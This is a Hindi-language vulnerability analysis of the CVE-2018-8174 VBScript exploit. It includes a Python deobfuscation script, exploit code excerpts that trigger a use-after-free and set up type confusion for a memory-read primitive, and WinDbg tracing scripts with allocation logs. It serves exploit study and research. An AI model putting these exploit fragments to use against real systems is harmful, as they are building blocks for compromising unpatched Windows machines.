
VBS एक्सप्लॉइट CVE-2018-8174 का विश्लेषण
जब यह एक्सप्लॉइट अप्रैल और मई के मोड़ पर पहली बार सामने आया तो इसने मेरी रुचि बढ़ा दी, क्योंकि भारी ऑब्सफस्केशन के बावजूद, कोड संरचना अच्छी तरह से व्यवस्थित लग रही थी और भेद्यता शोषण कोड इतना छोटा था कि विश्लेषण सरल हो गया। मैंने github से POC डाउनलोड किया और निर्णय लिया कि यह अंदर की कार्यप्रणाली पर नज़र डालने के लिए एक अच्छा उम्मीदवार होगा। उस समय दो विश्लेषण पहले ही प्रकाशित हो चुके थे, पहला 360 से और दूसरा Kaspersky से। दोनों ने मुझे यह समझने में मदद की कि यह कैसे काम करता है, लेकिन एक्सप्लॉइट के हर पहलू को गहराई से समझने के लिए पर्याप्त नहीं थे। इसीलिए मैंने इसे स्वयं विश्लेषित करने और अपने निष्कर्ष साझा करने का निर्णय लिया।
सबसे पहले इंटीजर ऑब्सफस्केशन को हटाने के लिए मैंने python स्क्रिप्ट में regex substitution का उपयोग किया:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # extremly safe :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
जहाँ तक ऑब्सफस्केटेड नामों का सवाल है, विश्लेषण के दौरान मैंने उन्हें क्रमिक रूप से नया नाम दिया। इस विश्लेषण को उस स्रोत कोड के साथ पढ़ना सबसे अच्छा है, जिसका लिंक अंत में दिया गया है।
भेद्यता तब उत्पन्न होती है, जब ऑब्जेक्ट समाप्त हो जाता है और कस्टम परिभाषित फ़ंक्शन Class_Terminate() को कॉल किया जाता है। इस फ़ंक्शन में फ्री किए जा रहे ऑब्जेक्ट का संदर्भ UafArray में सहेजा जाता है। अब से UafArray(i) हटाए गए ऑब्जेक्ट को संदर्भित करता है।
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' fix ref counter
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
इसके अलावा Class_Terminate() में अंतिम पंक्ति पर ध्यान दें। जब हम ClassTerminate ऑब्जेक्ट को UafArray में कॉपी करते हैं तो उसका रेफरेंस काउंटर बढ़ जाता है। इसे संतुलित करने के लिए हम FreedObjectArray को कोई अन्य मान देकर उसे फिर से फ्री करते हैं। इसके बिना, Class_Terminate कॉल करने के बावजूद ऑब्जेक्ट की मेमोरी फ्री नहीं होगी और अगला ऑब्जेक्ट उसके स्थान पर आवंटित नहीं होगा।

नए ऑब्जेक्ट बनाना और हटाना एक लूप में 7 बार दोहराया जाता है, उसके बाद ReuseClass क्लास का एक नया ऑब्जेक्ट बनाया जाता है। इसे उसी मेमोरी में आवंटित किया जाता है जो पहले 7 ClassTerminate इंस्टेंस द्वारा घेरी गई थी।
इसे बेहतर ढंग से समझने के लिए, यहाँ एक सरल WinDbg स्क्रिप्ट है जो उन सभी आवंटनों को ट्रैक करती है:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
यहाँ UafTrigger फ़ंक्शन से आवंटन लॉग दिया गया है:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
हम तुरंत देख सकते हैं कि ReuseClass वास्तव में उसी मेमोरी में आवंटित किया गया है जो पिछले 7 ClassTerminate इंस्टेंस को दी गई थी।
यह दो बार दोहराया जाता है। हमें दो ऑब्जेक्ट मिलते हैं जिन्हें UafArrays द्वारा संदर्भित किया जाता है। उनमें से कोई भी संदर्भ ऑब्जेक्ट के रेफरेंस काउंटर में प्रतिबिंबित नहीं होता है।
इस लॉग में हम यह भी देख सकते हैं कि Class_Terminate कॉल किए जाने के बाद भी कुछ ऑब्जेक्ट परिवर्तन होते हैं जो उसके रेफरेंस काउंटर को बदलते हैं।
इसीलिए यदि हम Class_Terminate में इस काउंटर को संतुलित नहीं करते तो हमें कुछ इस तरह का परिणाम मिलता:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
अलग-अलग आवंटन पते। एक्सप्लॉइट use after free स्थिति बनाने में विफल हो जाता।
उन दो ऑब्जेक्ट्स को प्रत्येक के 7 बिना गिने संदर्भों के साथ बनाने के बाद, हमने arbitrary memory read primitive स्थापित किया।
यहाँ दो समान क्लास हैं ReuseClass और FakeReuseClass। पहली क्लास को दूसरी से बदलने पर mem सदस्य पर type confusion उत्पन्न होता है।
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
SetProp फ़ंक्शन में ReuseClass.mem सहेजा जाता है और ReplacingClass_* क्लास का Default Property Get कॉल किया जाता है, उस कॉल का परिणाम ReuseClass.mem में रखा जाएगा।